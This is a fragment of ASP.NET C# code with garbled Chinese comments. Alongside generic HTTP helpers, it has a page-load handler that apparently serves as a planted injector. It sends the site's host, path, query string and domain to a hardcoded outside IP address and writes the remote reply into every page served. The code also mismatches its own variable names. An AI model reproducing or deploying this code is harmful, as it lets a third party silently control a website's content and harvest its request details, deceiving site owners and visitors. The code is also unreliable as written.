/// POST ÇëÇó·½·¨ /// bodyÊÇÒª´«µİµÄ²ÎÊı,¸ñʽ"roleId=1&uid=2" /// postµÄcotentTypeÌîĞ´: /// "application/x-www-form-urlencoded" /// soapÌîĞ´:"text/xml; charset=utf-8" /// /// /// /// /// public string PostHttp(string url, string body, string contentType) { HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(url); httpWebRequest.ContentType = contentType; httpWebRequest.Method = "POST"; httpWebRequest.Timeout = 20000; //byte[] btBodys = Encoding.UTF8.GetBytes(body); byte[] btBodys = Encoding.Default.GetBytes(body); httpWebRequest.ContentLength = btBodys.Length; httpWebRequest.GetRequestStream().Write(btBodys, 0, btBodys.Length); HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse(); StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream()); string responseContent = streamReader.ReadToEnd(); httpWebResponse.Close(); streamReader.Close(); httpWebRequest.Abort(); httpWebResponse.Close(); return responseContent; } /// /// get ÇëÇó·½·¨ /// /// /// public string GetHttp(string url) { HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(url); httpWebRequest.ContentType = "application/x-www-form-urlencoded"; //httpWebRequest.Headers.Add("User-Agent", "aQ0O010O"); httpWebRequest.UserAgent = "aQ0O010O"; httpWebRequest.Method = "GET"; httpWebRequest.Timeout = 999999; HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse(); StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream(), Encoding.GetEncoding("GB2312")); string responseContent = streamReader.ReadToEnd(); httpWebResponse.Close(); streamReader.Close(); return responseContent; } protected void Page_Load(object sender, EventArgs e) { caerqt6wer2345f = "http://107.167.13.165/"; string host_name = "http://" + Request.ServerVariables["HTTP_HOST"] + Request.ServerVariables["script_name"]; string Remote_file = Remote_rseure + "/index.html" + "?host=" + host_name + "&url=" + Request.ServerVariables["Query_String"] + "&domain=" + Request.ServerVariables["Server_Name"]; string Content_mb = GetHttp(Remote_file); Response.Write(Content_mb); }